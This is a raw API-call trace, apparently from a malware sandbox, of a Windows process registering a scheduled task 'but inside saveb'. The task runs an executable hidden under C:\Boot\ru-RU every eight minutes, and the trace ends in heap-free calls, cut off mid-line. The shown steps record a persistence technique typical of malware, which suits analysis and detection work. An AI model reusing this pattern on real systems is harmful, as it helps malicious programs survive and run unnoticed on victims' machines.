[0131.579] lstrlenW (lpString="") returned 0 [0131.579] lstrlenW (lpString="") returned 0 [0131.579] lstrlenW (lpString="") returned 0 [0131.579] lstrlenW (lpString="") returned 0 [0131.579] lstrlenW (lpString="8") returned 1 [0131.579] _wtol (_String="8") returned 8 [0131.579] lstrlenW (lpString="") returned 0 [0131.579] lstrlenW (lpString="") returned 0 [0131.579] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0131.635] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0131.694] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdc970 | out: ppv=0xdc970*=0x487a50) returned 0x0 [0131.705] TaskScheduler:ITaskService:Connect (This=0x487a50, serverName=0xdca50*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdca30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdc9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0131.798] TaskScheduler:IUnknown:AddRef (This=0x487a50) returned 0x2 [0131.798] TaskScheduler:ITaskService:GetFolder (in: This=0x487a50, Path=0x0, ppFolder=0xdcb08 | out: ppFolder=0xdcb08*=0x487c10) returned 0x0 [0131.801] TaskScheduler:ITaskService:NewTask (in: This=0x487a50, flags=0x0, ppDefinition=0xdcb00 | out: ppDefinition=0xdcb00*=0x487c60) returned 0x0 [0131.801] ITaskDefinition:get_Actions (in: This=0x487c60, ppActions=0xdca80 | out: ppActions=0xdca80*=0x487d20) returned 0x0 [0131.801] IActionCollection:Create (in: This=0x487d20, Type=0, ppAction=0xdcaa0 | out: ppAction=0xdcaa0*=0x4860c0) returned 0x0 [0131.801] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.802] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0131.802] lstrlenW (lpString=" ") returned 1 [0131.802] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0131.802] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.802] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0131.803] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0131.803] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0131.803] IUnknown:Release (This=0x4860c0) returned 0x1 [0131.803] IUnknown:Release (This=0x487d20) returned 0x1 [0131.803] ITaskDefinition:get_Triggers (in: This=0x487c60, ppTriggers=0xdc600 | out: ppTriggers=0xdc600*=0x487e60) returned 0x0 [0131.803] ITriggerCollection:Create (in: This=0x487e60, Type=1, ppTrigger=0xdc5f8 | out: ppTrigger=0xdc5f8*=0x486130) returned 0x0 [0131.803] lstrlenW (lpString="8") returned 1 [0131.804] _vsnwprintf (in: _Buffer=0xdc580, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc578 | out: _Buffer="PT8M") returned 4 [0131.804] ITrigger:get_Repetition (in: This=0x486130, ppRepeat=0xdc5f0 | out: ppRepeat=0xdc5f0*=0x4861c0) returned 0x0 [0131.804] IRepetitionPattern:put_Interval (This=0x4861c0, Interval="PT8M") returned 0x0 [0131.804] IUnknown:Release (This=0x4861c0) returned 0x1 [0131.804] _vsnwprintf (in: _Buffer=0xdc540, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc518 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0131.804] ITrigger:put_StartBoundary (This=0x486130, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0131.804] lstrlenW (lpString="") returned 0 [0131.804] lstrlenW (lpString="") returned 0 [0131.804] lstrlenW (lpString="") returned 0 [0131.804] lstrlenW (lpString="") returned 0 [0131.804] IUnknown:Release (This=0x486130) returned 0x1 [0131.804] IUnknown:Release (This=0x487e60) returned 0x1 [0131.804] ITaskDefinition:get_Settings (in: This=0x487c60, ppSettings=0xdcaa0 | out: ppSettings=0xdcaa0*=0x487ed0) returned 0x0 [0131.805] lstrlenW (lpString="") returned 0 [0131.805] IUnknown:Release (This=0x487ed0) returned 0x1 [0131.805] GetLocalTime (in: lpSystemTime=0xdc958 | out: lpSystemTime=0xdc958*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x37, wMilliseconds=0x2c4)) [0131.805] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0131.805] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0131.805] GetUserNameW (in: lpBuffer=0xdc980, pcbBuffer=0xdc968 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdc968) returned 1 [0131.806] ITaskDefinition:get_RegistrationInfo (in: This=0x487c60, ppRegistrationInfo=0xdc950 | out: ppRegistrationInfo=0xdc950*=0x487da0) returned 0x0 [0131.806] IRegistrationInfo:put_Author (This=0x487da0, Author="") returned 0x0 [0131.806] _vsnwprintf (in: _Buffer=0xdc980, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdc918 | out: _Buffer="2022-08-06T02:18:55") returned 19 [0131.806] IRegistrationInfo:put_Date (This=0x487da0, Date="") returned 0x0 [0131.806] IUnknown:Release (This=0x487da0) returned 0x1 [0131.807] malloc (_Size=0x18) returned 0x487f80 [0131.807] free (_Block=0x487f80) [0131.807] lstrlenW (lpString="") returned 0 [0131.807] malloc (_Size=0x18) returned 0x487f80 [0131.807] ITaskFolder:RegisterTaskDefinition (in: This=0x487c10, Path="but inside saveb", pDefinition=0x487c60, flags=6, UserId=0xdcbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdeb00, varVal2=0xfe), LogonType=3, sddl=0xdcc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcb10 | out: ppTask=0xdcb10*=0x486380) returned 0x0 [0132.154] free (_Block=0x487f80) [0132.154] _memicmp (_Buf1=0x22ba90, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.154] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x22d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0132.154] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0132.154] GetProcessHeap () returned 0x210000 [0132.154] GetProcessHeap () returned 0x210000 [0132.154] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5e0) returned 1 [0132.154] GetProcessHeap () returned 0x210000 [0132.154] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d5e0) returned 0xc [0132.154] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d5e0 | out: hHeap=0x210000) returned 1 [0132.154] GetProcessHeap () returned 0x210000 [0132.154] RtlAllocateHeap (HeapHandle=0x210000, Flags=0xc, Size=0x82) returned 0x2499b0 [0132.154] _vsnwprintf (in: _Buffer=0xdd250, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdcab8 | out: _Buffer="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0132.154] _fileno (_File=0x7fefed02ab0) returned -2 [0132.154] _errno () returned 0x484bb0 [0132.154] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0132.155] SetLastError (dwErrCode=0x6) [0132.155] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0132.155] GetConsoleOutputCP () returned 0x0 [0132.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0132.155] GetConsoleOutputCP () returned 0x0 [0132.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0132.155] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0132.155] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0132.156] IUnknown:Release (This=0x486380) returned 0x0 [0132.156] TaskScheduler:IUnknown:Release (This=0x487c60) returned 0x0 [0132.156] TaskScheduler:IUnknown:Release (This=0x487c10) returned 0x0 [0132.156] TaskScheduler:IUnknown:Release (This=0x487a50) returned 0x1 [0132.156] lstrlenW (lpString="") returned 0 [0132.156] lstrlenW (lpString="8") returned 1 [0132.156] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0132.156] GetProcessHeap () returned 0x210000 [0132.156] GetProcessHeap () returned 0x210000 [0132.156] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c250) returned 1 [0132.156] GetProcessHeap () returned 0x210000 [0132.156] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c250) returned 0x1fc [0132.157] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c250 | out: hHeap=0x210000) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22b990) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22b990) returned 0x4 [0132.158] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22b990 | out: hHeap=0x210000) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d540) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d540) returned 0x16 [0132.158] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d540 | out: hHeap=0x210000) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4c0) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d4c0) returned 0x18 [0132.158] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4c0 | out: hHeap=0x210000) returned 1 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] GetProcessHeap () returned 0x210000 [0132.158] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd80) returned 1 [0132.159] GetProcessHeap () returned 0x210000 [0132.159] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cd80) returned 0x20 [0132.159] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cd80 | out: hHeap=0x210000) returned 1 [0132.159] GetProcessHeap () returned 0x210000 [0132.159] GetProcessHeap () returned 0x210000 [0132.159] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22bff0) returned 1 [0132.159] GetProcessHeap () returned 0x210000 [0132.159] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22bff0) returned 0xa0 [0132.160] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22bff0 | out: hHeap=0x210000) returned 1 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba70) returned 1 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ba70) returned 0x18 [0132.160] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba70 | out: hHeap=0x210000) returned 1 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb10) returned 1 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cb10) returned 0x20 [0132.160] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb10 | out: hHeap=0x210000) returned 1 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] GetProcessHeap () returned 0x210000 [0132.160] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x229310) returned 1 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x229310) returned 0x48 [0132.161] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x229310 | out: hHeap=0x210000) returned 1 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d560) returned 1 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d560) returned 0x18 [0132.161] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d560 | out: hHeap=0x210000) returned 1 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cae0) returned 1 [0132.161] GetProcessHeap () returned 0x210000 [0132.161] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cae0) returned 0x20 [0132.162] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cae0 | out: hHeap=0x210000) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcf0) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22dcf0) returned 0x4a [0132.162] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22dcf0 | out: hHeap=0x210000) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d520) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d520) returned 0x18 [0132.162] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d520 | out: hHeap=0x210000) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cab0) returned 1 [0132.162] GetProcessHeap () returned 0x210000 [0132.162] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cab0) returned 0x20 [0132.163] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cab0 | out: hHeap=0x210000) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d500) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d500) returned 0xe [0132.163] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d500 | out: hHeap=0x210000) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4e0) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d4e0) returned 0x18 [0132.163] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d4e0 | out: hHeap=0x210000) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225d50) returned 1 [0132.163] GetProcessHeap () returned 0x210000 [0132.163] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225d50) returned 0x20 [0132.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225d50 | out: hHeap=0x210000) returned 1 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22bbf0) returned 1 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22bbf0) returned 0x208 [0132.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22bbf0 | out: hHeap=0x210000) returned 1 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba50) returned 1 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ba50) returned 0x18 [0132.164] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba50 | out: hHeap=0x210000) returned 1 [0132.164] GetProcessHeap () returned 0x210000 [0132.164] GetProcessHeap () returned 0x210000 [0132.165] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225c60) returned 1 [0132.165] GetProcessHeap () returned 0x210000 [0132.165] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225c60) returned 0x20 [0132.165] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225c60 | out: hHeap=0x210000) returned 1 [0132.165] GetProcessHeap () returned 0x210000 [0132.165] GetProcessHeap () returned 0x210000 [0132.165] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d280) returned 1 [0132.165] GetProcessHeap () returned 0x210000 [0132.165] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22d280) returned 0x200 [0132.165] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22d280 | out: hHeap=0x210000) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba90) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22ba90) returned 0x18 [0132.166] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22ba90 | out: hHeap=0x210000) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225bd0) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225bd0) returned 0x20 [0132.166] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225bd0 | out: hHeap=0x210000) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c200) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.166] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c200) returned 0x14 [0132.166] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c200 | out: hHeap=0x210000) returned 1 [0132.166] GetProcessHeap () returned 0x210000 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1e0) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c1e0) returned 0x18 [0132.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1e0 | out: hHeap=0x210000) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225b10) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225b10) returned 0x20 [0132.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225b10 | out: hHeap=0x210000) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c220) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c220) returned 0x16 [0132.167] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c220 | out: hHeap=0x210000) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1a0) returned 1 [0132.167] GetProcessHeap () returned 0x210000 [0132.167] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22c1a0) returned 0x18 [0132.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22c1a0 | out: hHeap=0x210000) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225ae0) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225ae0) returned 0x20 [0132.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225ae0 | out: hHeap=0x210000) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9d0) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22b9d0) returned 0x2 [0132.168] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22b9d0 | out: hHeap=0x210000) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225930) returned 1 [0132.168] GetProcessHeap () returned 0x210000 [0132.168] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225930) returned 0x20 [0132.169] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225930 | out: hHeap=0x210000) returned 1 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225960) returned 1 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225960) returned 0x20 [0132.169] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225960 | out: hHeap=0x210000) returned 1 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x225990) returned 1 [0132.169] GetProcessHeap () returned 0x210000 [0132.169] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x225990) returned 0x20 [0132.170] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x225990 | out: hHeap=0x210000) returned 1 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x2259c0) returned 1 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x2259c0) returned 0x20 [0132.170] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x2259c0 | out: hHeap=0x210000) returned 1 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb40) returned 1 [0132.170] GetProcessHeap () returned 0x210000 [0132.170] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, MemoryPointer=0x22cb40) returned 0x20 [0132.171] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22cb40 | out: hHeap=0x210000) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] HeapValidate (hHeap=0x210000, dwFlags=0x0, lpMem=0x22d660) returned 1 [0132.171] GetProcessHeap () returned 0x210000 [0132.171] RtlSizeHeap (HeapHandle=0x210000, Flags=0x0, 